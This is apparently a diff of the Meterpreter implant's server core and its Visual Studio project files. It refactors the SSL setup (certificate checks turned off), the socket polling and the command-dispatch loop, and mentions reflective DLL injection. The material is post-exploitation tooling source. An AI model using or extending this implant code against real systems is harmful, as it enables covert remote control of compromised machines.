||||
remote_deallocate(remote);
|
||||
}
|
||||
|
||||
/* Invoke the fatal error handler */
|
||||
__except(exceptionfilter(GetExceptionCode(), GetExceptionInformation())) {
|
||||
dprintf("*** exception triggered!");
|
||||
ExitThread(0);
|
||||
}
|
||||
|
||||
return res;
|
||||
}
|
||||
/*
|
||||
* An array of locks for use by OpenSSL.
|
||||
*/
|
||||
static LOCK ** ssl_locks = NULL;
|
||||
|
||||
/*
|
||||
* A callback function used by OpenSSL to leverage native system locks.
|
||||
*/
|
||||
static VOID server_locking_callback( int mode, int type, const char * file, int line )
|
||||
{
|
||||
if( mode & CRYPTO_LOCK )
|
||||
lock_acquire( ssl_locks[type] );
|
||||
else
|
||||
lock_release( ssl_locks[type] );
|
||||
}
|
||||
|
||||
// Flush all pending data on the connected socket before doing SSL
|
||||
static void flush_socket(Remote *remote) {
|
||||
/*
|
||||
* A callback function used by OpenSSL to get the current threads id.
|
||||
* While not needed on windows this must be used for posix meterpreter.
|
||||
*/
|
||||
static DWORD server_threadid_callback( VOID )
|
||||
{
|
||||
return GetCurrentThreadId();
|
||||
}
|
||||
|
||||
/*
|
||||
* Callback function for dynamic lock creation for OpenSSL.
|
||||
*/
|
||||
static struct CRYPTO_dynlock_value * server_dynamiclock_create( const char * file, int line )
|
||||
{
|
||||
return (struct CRYPTO_dynlock_value *)lock_create();
|
||||
}
|
||||
|
||||
/*
|
||||
* Callback function for dynamic lock locking for OpenSSL.
|
||||
*/
|
||||
static void server_dynamiclock_lock( int mode, struct CRYPTO_dynlock_value * l, const char * file, int line )
|
||||
{
|
||||
LOCK * lock = (LOCK *)l;
|
||||
|
||||
if( mode & CRYPTO_LOCK )
|
||||
lock_acquire( lock );
|
||||
else
|
||||
lock_release( lock );
|
||||
}
|
||||
|
||||
/*
|
||||
* Callback function for dynamic lock destruction for OpenSSL.
|
||||
*/
|
||||
static void server_dynamiclock_destroy( struct CRYPTO_dynlock_value * l, const char * file, int line )
|
||||
{
|
||||
lock_destroy( (LOCK *)l );
|
||||
}
|
||||
|
||||
/*
|
||||
* Flush all pending data on the connected socket before doing SSL.
|
||||
*/
|
||||
static VOID server_socket_flush( Remote * remote )
|
||||
{
|
||||
fd_set fdread;
|
||||
DWORD ret;
|
||||
SOCKET fd;
|
||||
unsigned char buff[4096];
|
||||
|
||||
lock_acquire( remote->lock );
|
||||
|
||||
fd = remote_get_fd(remote);
|
||||
|
||||
while (1) {
|
||||
struct timeval tv;
|
||||
LONG data;
|
||||
@ -125,92 +117,302 @@ static void flush_socket(Remote *remote) {
|
||||
tv.tv_usec = 0;
|
||||
|
||||
data = select(fd + 1, &fdread, NULL, NULL, &tv);
|
||||
if(data == 0) break;
|
||||
if(data == 0)
|
||||
break;
|
||||
|
||||
ret = recv(fd, buff, sizeof(buff), 0);
|
||||
dprintf("Flushed %d bytes from the buffer");
|
||||
dprintf("[SERVER] Flushed %d bytes from the buffer");
|
||||
continue;
|
||||
}
|
||||
}
|
||||
|
||||
lock_release( remote->lock );
|
||||
}
|
||||
|
||||
/*
|
||||
* Negotiate SSL on the socket
|
||||
* Poll a socket for data to recv and block when none available.
|
||||
*/
|
||||
static DWORD negotiate_ssl(Remote *remote)
|
||||
static LONG server_socket_poll( Remote * remote, long timeout )
|
||||
{
|
||||
DWORD hres = ERROR_SUCCESS;
|
||||
SOCKET fd = remote_get_fd(remote);
|
||||
DWORD ret;
|
||||
|
||||
struct timeval tv;
|
||||
LONG result;
|
||||
fd_set fdread;
|
||||
SOCKET fd;
|
||||
|
||||
lock_acquire( remote->lock );
|
||||
|
||||
fd = remote_get_fd( remote );
|
||||
|
||||
FD_ZERO( &fdread );
|
||||
FD_SET( fd, &fdread );
|
||||
|
||||
tv.tv_sec = 0;
|
||||
tv.tv_usec = timeout;
|
||||
|
||||
result = select( fd + 1, &fdread, NULL, NULL, &tv );
|
||||
|
||||
lock_release( remote->lock );
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
/*
|
||||
* Initialize the OpenSSL subsystem for use in a multi threaded enviroment.
|
||||
*/
|
||||
static BOOL server_initialize_ssl( Remote * remote )
|
||||
{
|
||||
int i = 0;
|
||||
|
||||
lock_acquire( remote->lock );
|
||||
|
||||
// Begin to bring up the OpenSSL subsystem...
|
||||
CRYPTO_malloc_init();
|
||||
SSL_load_error_strings();
|
||||
SSL_library_init();
|
||||
|
||||
remote->meth = SSLv3_client_method();
|
||||
|
||||
remote->ctx = SSL_CTX_new(remote->meth);
|
||||
SSL_CTX_set_mode(remote->ctx, SSL_MODE_AUTO_RETRY);
|
||||
|
||||
remote->ssl = SSL_new(remote->ctx);
|
||||
SSL_set_verify(remote->ssl, SSL_VERIFY_NONE, NULL);
|
||||
if (SSL_set_fd(remote->ssl, remote->fd) == 0) {
|
||||
perror("set fd failed");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
|
||||
if ((ret = SSL_connect(remote->ssl)) != 1) {
|
||||
printf("connect failed %d\n", SSL_get_error(remote->ssl, ret));
|
||||
exit(1);
|
||||
}
|
||||
dprintf("Sending a HTTP GET request to the remote side...");
|
||||
if((ret = SSL_write(remote->ssl, "GET / HTTP/1.0\r\n\r\n", 18)) <= 0) {
|
||||
dprintf("SSL write failed during negotiation with return: %d (%d)", ret,
|
||||
SSL_get_error(remote->ssl, ret));
|
||||
}
|
||||
|
||||
dprintf("Completed writing the HTTP GET request: %d", ret);
|
||||
|
||||
if(ret < 0)
|
||||
ExitThread(0);
|
||||
|
||||
return(0);
|
||||
}
|
||||
|
||||
/*
|
||||
* Monitor for requests and local waitable items in the scheduler
|
||||
*/
|
||||
static DWORD monitor_loop(Remote *remote)
|
||||
{
|
||||
DWORD hres = ERROR_SUCCESS;
|
||||
SOCKET fd = remote_get_fd(remote);
|
||||
fd_set fdread;
|
||||
|
||||
/*
|
||||
* Read data locally and remotely
|
||||
*/
|
||||
while (1)
|
||||
// Setup the required OpenSSL multi-threaded enviroment...
|
||||
ssl_locks = (LOCK**)malloc( CRYPTO_num_locks() * sizeof(LOCK) );
|
||||
if( ssl_locks == NULL )
|
||||
{
|
||||
struct timeval tv;
|
||||
LONG data;
|
||||
|
||||
FD_ZERO(&fdread);
|
||||
FD_SET(fd, &fdread);
|
||||
|
||||
tv.tv_sec = 0;
|
||||
tv.tv_usec = 100;
|
||||
|
||||
data = select(fd + 1, &fdread, NULL, NULL, &tv);
|
||||
|
||||
if (data > 0)
|
||||
{
|
||||
if ((hres = command_process_remote(remote, NULL)) != ERROR_SUCCESS)
|
||||
break;
|
||||
}
|
||||
else if (data < 0)
|
||||
break;
|
||||
|
||||
// Process local scheduler items
|
||||
scheduler_run(remote, 0);
|
||||
lock_release( remote->lock );
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
return hres;
|
||||
}
|
||||
for( i=0 ; i<CRYPTO_num_locks() ; i++ )
|
||||
ssl_locks[i] = lock_create();
|
||||
|
||||
CRYPTO_set_id_callback( server_threadid_callback );
|
||||
CRYPTO_set_locking_callback( server_locking_callback );
|
||||
// sf: unsure if these are required or giving optimal performance, commenting out for now.
|
||||
//CRYPTO_set_dynlock_create_callback( server_dynamiclock_create );
|
||||
//CRYPTO_set_dynlock_lock_callback( server_dynamiclock_lock );
|
||||
//CRYPTO_set_dynlock_destroy_callback( server_dynamiclock_destroy );
|
||||
|
||||
lock_release( remote->lock );
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
/*
|
||||
* Bring down the OpenSSL subsystem
|
||||
*/
|
||||
static BOOL server_destroy_ssl( Remote * remote )
|
||||
{
|
||||
int i = 0;
|
||||
|
||||
if( remote == NULL )
|
||||
return FALSE;
|
||||
|
||||
lock_acquire( remote->lock );
|
||||
|
||||
SSL_free( remote->ssl );
|
||||
|
||||
SSL_CTX_free( remote->ctx );
|
||||
|
||||
CRYPTO_set_locking_callback( NULL );
|
||||
CRYPTO_set_id_callback( NULL );
|
||||
//CRYPTO_set_dynlock_create_callback( NULL );
|
||||
//CRYPTO_set_dynlock_lock_callback( NULL );
|
||||
//CRYPTO_set_dynlock_destroy_callback( NULL );
|
||||
|
||||
for( i=0 ; i<CRYPTO_num_locks() ; i++ )
|
||||
lock_destroy( ssl_locks[i] );
|
||||
|
||||
free( ssl_locks );
|
||||
|
||||
lock_release( remote->lock );
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
/*
|
||||
* Negotiate SSL on the socket.
|
||||
*/
|
||||
static BOOL server_negotiate_ssl(Remote *remote)
|
||||
{
|
||||
BOOL success = TRUE;
|
||||
SOCKET fd = 0;
|
||||
DWORD ret = 0;
|
||||
|
||||
lock_acquire( remote->lock );
|
||||
|
||||
do
|
||||
{
|
||||
fd = remote_get_fd(remote);
|
||||
|
||||
remote->meth = SSLv3_client_method();
|
||||
|
||||
remote->ctx = SSL_CTX_new(remote->meth);
|
||||
SSL_CTX_set_mode(remote->ctx, SSL_MODE_AUTO_RETRY);
|
||||
|
||||
remote->ssl = SSL_new(remote->ctx);
|
||||
SSL_set_verify(remote->ssl, SSL_VERIFY_NONE, NULL);
|
||||
|
||||
if( SSL_set_fd(remote->ssl, remote->fd) == 0 )
|
||||
{
|
||||
dprintf("[SERVER] set fd failed");
|
||||
success = FALSE;
|
||||
break;
|
||||
}
|
||||
|
||||
if( (ret = SSL_connect(remote->ssl)) != 1 )
|
||||
{
|
||||
dprintf("[SERVER] connect failed %d\n", SSL_get_error(remote->ssl, ret));
|
||||
success = FALSE;
|
||||
break;
|
||||
}
|
||||
|
||||
dprintf("[SERVER] Sending a HTTP GET request to the remote side...");
|
||||
|
||||
if( (ret = SSL_write(remote->ssl, "GET / HTTP/1.0\r\n\r\n", 18)) <= 0 )
|
||||
{
|
||||
dprintf("[SERVER] SSL write failed during negotiation with return: %d (%d)", ret, SSL_get_error(remote->ssl, ret));
|
||||
}
|
||||
|
||||
} while(0);
|
||||
|
||||
lock_release( remote->lock );
|
||||
|
||||
dprintf("[SERVER] Completed writing the HTTP GET request: %d", ret);
|
||||
|
||||
if( ret < 0 )
|
||||
success = FALSE;
|
||||
|
||||
return success;
|
||||
}
|
||||
|
||||
/*
|
||||
* The servers main dispatch loop for incoming requests.
|
||||
*/
|
||||
static DWORD server_dispatch( Remote * remote )
|
||||
{
|
||||
LONG result = ERROR_SUCCESS;
|
||||
Packet * packet = NULL;
|
||||
THREAD * cpt = NULL;
|
||||
|
||||
dprintf( "[DISPATCH] entering server_dispatch( 0x%08X )", remote );
|
||||
|
||||
// Bring up the scheduler subsystem.
|
||||
result = scheduler_initialize( remote );
|
||||
if( result != ERROR_SUCCESS )
|
||||
return result;
|
||||
|
||||
while( TRUE )
|
||||
{
|
||||
if( event_poll( serverThread.sigterm, 0 ) )
|
||||
{
|
||||
dprintf( "[DISPATCH] server dispatch thread signaled to terminate..." );
|
||||
break;
|
||||
}
|
||||
|
||||
result = server_socket_poll( remote, 100 );
|
||||
if( result > 0 )
|
||||
{
|
||||
result = packet_receive( remote, &packet );
|
||||
if( result != ERROR_SUCCESS )
|
||||
break;
|
||||
|
||||
cpt = thread_create( command_process_thread, remote, packet );
|
||||
|
||||
dprintf( "[DISPATCH] created command_process_thread 0x%08X, handle=0x%08X", cpt, cpt->handle );
|
||||
|
||||
if( cpt != NULL )
|
||||
thread_run( cpt );
|
||||
}
|
||||
else if( result < 0 )
|
||||
{
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
dprintf( "[DISPATCH] calling scheduler_destroy..." );
|
||||
scheduler_destroy();
|
||||
|
||||
dprintf( "[DISPATCH] calling command_join_threads..." );
|
||||
command_join_threads();
|
||||
|
||||
dprintf( "[DISPATCH] leaving server_dispatch." );
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
/*
|
||||
* Setup and run the server. This is called from Init via the loader.
|
||||
*/
|
||||
DWORD server_setup( SOCKET fd )
|
||||
{
|
||||
Remote *remote = NULL;
|
||||
DWORD res = 0;
|
||||
|
||||
#ifdef _UNIX
|
||||
int local_error = 0;
|
||||
#endif
|
||||
|
||||
// if hAppInstance is still == NULL it means that we havent been
|
||||
// reflectivly loaded so we must patch in the hAppInstance value
|
||||
// for use with loading server extensions later.
|
||||
InitAppInstance();
|
||||
|
||||
srand( (unsigned int)time(NULL) );
|
||||
|
||||
__try
|
||||
{
|
||||
do
|
||||
{
|
||||
dprintf( "[SERVER] module loaded at 0x%08X", hAppInstance );
|
||||
|
||||
// manually create a THREAD item for the servers main thread, we use this to manage migration later.
|
||||
memset( &serverThread, 0, sizeof(THREAD) );
|
||||
serverThread.id = GetCurrentThreadId();
|
||||
serverThread.handle = OpenThread( THREAD_TERMINATE, FALSE, serverThread.id );
|
||||
serverThread.sigterm = event_create();
|
||||
|
||||
dprintf( "[SERVER] main server thread: handle=0x%08X id=0x%08X sigterm=0x%08X", serverThread.handle, serverThread.id, serverThread.sigterm );
|
||||
|
||||
if( !(remote = remote_allocate(fd)) )
|
||||
{
|
||||
SetLastError( ERROR_NOT_ENOUGH_MEMORY );
|
||||
break;
|
||||
}
|
||||
|
||||
// Do not allow the file descriptor to be inherited by child processes
|
||||
SetHandleInformation((HANDLE)fd, HANDLE_FLAG_INHERIT, 0);
|
||||
|
||||
dprintf("[SERVER] Flushing the socket handle...");
|
||||
server_socket_flush( remote );
|
||||
|
||||
dprintf("[SERVER] Initializing SSL...");
|
||||
if( !server_initialize_ssl( remote ) )
|
||||
break;
|
||||
|
||||
dprintf("[SERVER] Negotiating SSL...");
|
||||
if( !server_negotiate_ssl( remote ) )
|
||||
break;
|
||||
|
||||
dprintf("[SERVER] Registering dispatch routines...");
|
||||
register_dispatch_routines();
|
||||
|
||||
dprintf("[SERVER] Entering the main server dispatch loop...");
|
||||
server_dispatch( remote );
|
||||
|
||||
dprintf("[SERVER] Deregistering dispatch routines...");
|
||||
deregister_dispatch_routines();
|
||||
|
||||
} while (0);
|
||||
|
||||
dprintf("[SERVER] Closing down SSL...");
|
||||
|
||||
server_destroy_ssl( remote );
|
||||
|
||||
if( remote )
|
||||
remote_deallocate( remote );
|
||||
|
||||
}
|
||||
__except( exceptionfilter(GetExceptionCode(), GetExceptionInformation()) )
|
||||
{
|
||||
dprintf("[SERVER] *** exception triggered!");
|
||||
|
||||
thread_kill( &serverThread );
|
||||
}
|
||||
|
||||
dprintf("[SERVER] Finished.");
|
||||
return res;
|
||||
}
|
||||
|
@ -99,11 +99,11 @@ DWORD request_core_loadlib(Remote *remote, Packet *packet)
|
||||
// wont work if we have used Reflective DLL Injection as metsrv.dll will be 'invisible' to these functions.
|
||||
remote->hMetSrv = hAppInstance;
|
||||
|
||||
dprintf("Calling init()...");
|
||||
dprintf("[SERVER] Calling init()...");
|
||||
// Call the init routine in the library
|
||||
if( init )
|
||||
res = init(remote);
|
||||
dprintf("Called init()...");
|
||||
dprintf("[SERVER] Called init()...");
|
||||
}
|
||||
|
||||
} while (0);
|
||||
@ -111,10 +111,8 @@ DWORD request_core_loadlib(Remote *remote, Packet *packet)
|
||||
if (response)
|
||||
{
|
||||
packet_add_tlv_uint(response, TLV_TYPE_RESULT, res);
|
||||
|
||||
packet_transmit(remote, response, NULL);
|
||||
}
|
||||
|
||||
dprintf("Returning back to cmd handler...");
|
||||
return res;
|
||||
}
|
||||
|
@ -95,6 +95,84 @@
|
||||
Name="VCPostBuildEventTool"
|
||||
/>
|
||||
</Configuration>
|
||||
<Configuration
|
||||
Name="Debug|x64"
|
||||
OutputDirectory="$(PlatformName)\$(ConfigurationName)"
|
||||
IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
|
||||
ConfigurationType="4"
|
||||
InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC60.vsprops"
|
||||
UseOfMFC="0"
|
||||
ATLMinimizesCRunTimeLibraryUsage="false"
|
||||
CharacterSet="2"
|
||||
>
|
||||
<Tool
|
||||
Name="VCPreBuildEventTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCCustomBuildTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCXMLDataGeneratorTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCWebServiceProxyGeneratorTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCMIDLTool"
|
||||
TargetEnvironment="3"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCCLCompilerTool"
|
||||
Optimization="0"
|
||||
AdditionalIncludeDirectories="..\..\source\openssl\include"
|
||||
PreprocessorDefinitions="_DEBUG;WIN32;_LIB;USE_DLL;METERPRETER_EXPORTS"
|
||||
MinimalRebuild="true"
|
||||
BasicRuntimeChecks="3"
|
||||
RuntimeLibrary="0"
|
||||
UsePrecompiledHeader="2"
|
||||
PrecompiledHeaderThrough="common.h"
|
||||
PrecompiledHeaderFile=".\Debug/common.pch"
|
||||
AssemblerListingLocation=".\Debug/"
|
||||
ObjectFile=".\Debug/"
|
||||
ProgramDataBaseFileName=".\Debug/"
|
||||
WarningLevel="3"
|
||||
SuppressStartupBanner="true"
|
||||
DebugInformationFormat="3"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCManagedResourceCompilerTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCResourceCompilerTool"
|
||||
PreprocessorDefinitions="_DEBUG"
|
||||
Culture="1033"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCPreLinkEventTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCLibrarianTool"
|
||||
OutputFile=".\Debug\common.lib"
|
||||
SuppressStartupBanner="true"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCALinkTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCXDCMakeTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCBscMakeTool"
|
||||
SuppressStartupBanner="true"
|
||||
OutputFile=".\Debug/common.bsc"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCFxCopTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCPostBuildEventTool"
|
||||
/>
|
||||
</Configuration>
|
||||
<Configuration
|
||||
Name="Release|Win32"
|
||||
OutputDirectory=".\Release"
|
||||
@ -174,84 +252,6 @@
|
||||
Name="VCPostBuildEventTool"
|
||||
/>
|
||||
</Configuration>
|
||||
<Configuration
|
||||
Name="Debug|x64"
|
||||
OutputDirectory="$(PlatformName)\$(ConfigurationName)"
|
||||
IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
|
||||
ConfigurationType="4"
|
||||
InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC60.vsprops"
|
||||
UseOfMFC="0"
|
||||
ATLMinimizesCRunTimeLibraryUsage="false"
|
||||
CharacterSet="2"
|
||||
>
|
||||
<Tool
|
||||
Name="VCPreBuildEventTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCCustomBuildTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCXMLDataGeneratorTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCWebServiceProxyGeneratorTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCMIDLTool"
|
||||
TargetEnvironment="3"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCCLCompilerTool"
|
||||
Optimization="0"
|
||||
AdditionalIncludeDirectories="..\..\source\openssl\include"
|
||||
PreprocessorDefinitions="_DEBUG;WIN32;_LIB;USE_DLL;METERPRETER_EXPORTS"
|
||||
MinimalRebuild="true"
|
||||
BasicRuntimeChecks="3"
|
||||
RuntimeLibrary="0"
|
||||
UsePrecompiledHeader="2"
|
||||
PrecompiledHeaderThrough="common.h"
|
||||
PrecompiledHeaderFile=".\Debug/common.pch"
|
||||
AssemblerListingLocation=".\Debug/"
|
||||
ObjectFile=".\Debug/"
|
||||
ProgramDataBaseFileName=".\Debug/"
|
||||
WarningLevel="3"
|
||||
SuppressStartupBanner="true"
|
||||
DebugInformationFormat="3"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCManagedResourceCompilerTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCResourceCompilerTool"
|
||||
PreprocessorDefinitions="_DEBUG"
|
||||
Culture="1033"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCPreLinkEventTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCLibrarianTool"
|
||||
OutputFile=".\Debug\common.lib"
|
||||
SuppressStartupBanner="true"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCALinkTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCXDCMakeTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCBscMakeTool"
|
||||
SuppressStartupBanner="true"
|
||||
OutputFile=".\Debug/common.bsc"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCFxCopTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCPostBuildEventTool"
|
||||
/>
|
||||
</Configuration>
|
||||
<Configuration
|
||||
Name="Release|x64"
|
||||
OutputDirectory="$(PlatformName)\$(ConfigurationName)"
|
||||
@ -352,7 +352,7 @@
|
||||
/>
|
||||
</FileConfiguration>
|
||||
<FileConfiguration
|
||||
Name="Release|Win32"
|
||||
Name="Debug|x64"
|
||||
>
|
||||
<Tool
|
||||
Name="VCCLCompilerTool"
|
||||
@ -360,7 +360,7 @@
|
||||
/>
|
||||
</FileConfiguration>
|
||||
<FileConfiguration
|
||||
Name="Debug|x64"
|
||||
Name="Release|Win32"
|
||||
>
|
||||
<Tool
|
||||
Name="VCCLCompilerTool"
|
||||
@ -388,7 +388,7 @@
|
||||
/>
|
||||
</FileConfiguration>
|
||||
<FileConfiguration
|
||||
Name="Release|Win32"
|
||||
Name="Debug|x64"
|
||||
>
|
||||
<Tool
|
||||
Name="VCCLCompilerTool"
|
||||
@ -396,7 +396,7 @@
|
||||
/>
|
||||
</FileConfiguration>
|
||||
<FileConfiguration
|
||||
Name="Debug|x64"
|
||||
Name="Release|Win32"
|
||||
>
|
||||
<Tool
|
||||
Name="VCCLCompilerTool"
|
||||
@ -424,7 +424,7 @@
|
||||
/>
|
||||
</FileConfiguration>
|
||||
<FileConfiguration
|
||||
Name="Release|Win32"
|
||||
Name="Debug|x64"
|
||||
>
|
||||
<Tool
|
||||
Name="VCCLCompilerTool"
|
||||
@ -432,7 +432,7 @@
|
||||
/>
|
||||
</FileConfiguration>
|
||||
<FileConfiguration
|
||||
Name="Debug|x64"
|
||||
Name="Release|Win32"
|
||||
>
|
||||
<Tool
|
||||
Name="VCCLCompilerTool"
|
||||
@ -464,7 +464,7 @@
|
||||
/>
|
||||
</FileConfiguration>
|
||||
<FileConfiguration
|
||||
Name="Release|Win32"
|
||||
Name="Debug|x64"
|
||||
>
|
||||
<Tool
|
||||
Name="VCCLCompilerTool"
|
||||
@ -472,7 +472,7 @@
|
||||
/>
|
||||
</FileConfiguration>
|
||||
<FileConfiguration
|
||||
Name="Debug|x64"
|
||||
Name="Release|Win32"
|
||||
>
|
||||
<Tool
|
||||
Name="VCCLCompilerTool"
|
||||
@ -500,7 +500,7 @@
|
||||
/>
|
||||
</FileConfiguration>
|
||||
<FileConfiguration
|
||||
Name="Release|Win32"
|
||||
Name="Debug|x64"
|
||||
>
|
||||
<Tool
|
||||
Name="VCCLCompilerTool"
|
||||
@ -508,7 +508,7 @@
|
||||
/>
|
||||
</FileConfiguration>
|
||||
<FileConfiguration
|
||||
Name="Debug|x64"
|
||||
Name="Release|Win32"
|
||||
>
|
||||
<Tool
|
||||
Name="VCCLCompilerTool"
|
||||
@ -537,7 +537,7 @@
|
||||
/>
|
||||
</FileConfiguration>
|
||||
<FileConfiguration
|
||||
Name="Release|Win32"
|
||||
Name="Debug|x64"
|
||||
>
|
||||
<Tool
|
||||
Name="VCCLCompilerTool"
|
||||
@ -546,7 +546,7 @@
|
||||
/>
|
||||
</FileConfiguration>
|
||||
<FileConfiguration
|
||||
Name="Debug|x64"
|
||||
Name="Release|Win32"
|
||||
>
|
||||
<Tool
|
||||
Name="VCCLCompilerTool"
|
||||
@ -576,7 +576,7 @@
|
||||
/>
|
||||
</FileConfiguration>
|
||||
<FileConfiguration
|
||||
Name="Release|Win32"
|
||||
Name="Debug|x64"
|
||||
>
|
||||
<Tool
|
||||
Name="VCCLCompilerTool"
|
||||
@ -584,7 +584,7 @@
|
||||
/>
|
||||
</FileConfiguration>
|
||||
<FileConfiguration
|
||||
Name="Debug|x64"
|
||||
Name="Release|Win32"
|
||||
>
|
||||
<Tool
|
||||
Name="VCCLCompilerTool"
|
||||
@ -600,6 +600,10 @@
|
||||
/>
|
||||
</FileConfiguration>
|
||||
</File>
|
||||
<File
|
||||
RelativePath="..\..\source\common\list.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath="..\..\source\common\remote.c"
|
||||
>
|
||||
@ -612,7 +616,7 @@
|
||||
/>
|
||||
</FileConfiguration>
|
||||
<FileConfiguration
|
||||
Name="Release|Win32"
|
||||
Name="Debug|x64"
|
||||
>
|
||||
<Tool
|
||||
Name="VCCLCompilerTool"
|
||||
@ -620,7 +624,7 @@
|
||||
/>
|
||||
</FileConfiguration>
|
||||
<FileConfiguration
|
||||
Name="Debug|x64"
|
||||
Name="Release|Win32"
|
||||
>
|
||||
<Tool
|
||||
Name="VCCLCompilerTool"
|
||||
@ -648,7 +652,7 @@
|
||||
/>
|
||||
</FileConfiguration>
|
||||
<FileConfiguration
|
||||
Name="Release|Win32"
|
||||
Name="Debug|x64"
|
||||
>
|
||||
<Tool
|
||||
Name="VCCLCompilerTool"
|
||||
@ -656,7 +660,7 @@
|
||||
/>
|
||||
</FileConfiguration>
|
||||
<FileConfiguration
|
||||
Name="Debug|x64"
|
||||
Name="Release|Win32"
|
||||
>
|
||||
<Tool
|
||||
Name="VCCLCompilerTool"
|
||||
@ -672,6 +676,10 @@
|
||||
/>
|
||||
</FileConfiguration>
|
||||
</File>
|
||||
<File
|
||||
RelativePath="..\..\source\common\thread.c"
|
||||
>
|
||||
</File>
|
||||
<Filter
|
||||
Name="Crypto"
|
||||
>
|
||||
@ -690,7 +698,7 @@
|
||||
/>
|
||||
</FileConfiguration>
|
||||
<FileConfiguration
|
||||
Name="Release|Win32"
|
||||
Name="Debug|x64"
|
||||
>
|
||||
<Tool
|
||||
Name="VCCLCompilerTool"
|
||||
@ -698,7 +706,7 @@
|
||||
/>
|
||||
</FileConfiguration>
|
||||
<FileConfiguration
|
||||
Name="Debug|x64"
|
||||
Name="Release|Win32"
|
||||
>
|
||||
<Tool
|
||||
Name="VCCLCompilerTool"
|
||||
@ -757,6 +765,10 @@
|
||||
RelativePath="..\..\source\common\linkage.h"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath="..\..\source\common\list.h"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath="..\..\source\common\remote.h"
|
||||
>
|
||||
@ -765,6 +777,10 @@
|
||||
RelativePath="..\..\source\common\scheduler.h"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath="..\..\source\common\thread.h"
|
||||
>
|
||||
</File>
|
||||
</Filter>
|
||||
</Files>
|
||||
<Globals>
|
||||
|
@ -80,7 +80,7 @@
|
||||
/>
|
||||
<Tool
|
||||
Name="VCLinkerTool"
|
||||
AdditionalDependencies="common.lib ws2_32.lib odbc32.lib odbccp32.lib"
|
||||
AdditionalDependencies="ws2_32.lib odbc32.lib odbccp32.lib ssleay32.lib libeay32.lib"
|
||||
OutputFile=".\Debug/metsrv.dll"
|
||||
LinkIncremental="2"
|
||||
SuppressStartupBanner="true"
|
||||
@ -115,7 +115,7 @@
|
||||
/>
|
||||
<Tool
|
||||
Name="VCPostBuildEventTool"
|
||||
CommandLine="copy debug\metsrv.dll ..\..\output\server"
|
||||
CommandLine="copy /y "$(ProjectDir)\debug\metsrv.dll" "$(ProjectDir)..\..\output\""
|
||||
/>
|
||||
</Configuration>
|
||||
<Configuration
|
||||
|
Loading…
Reference in New Issue
Block a user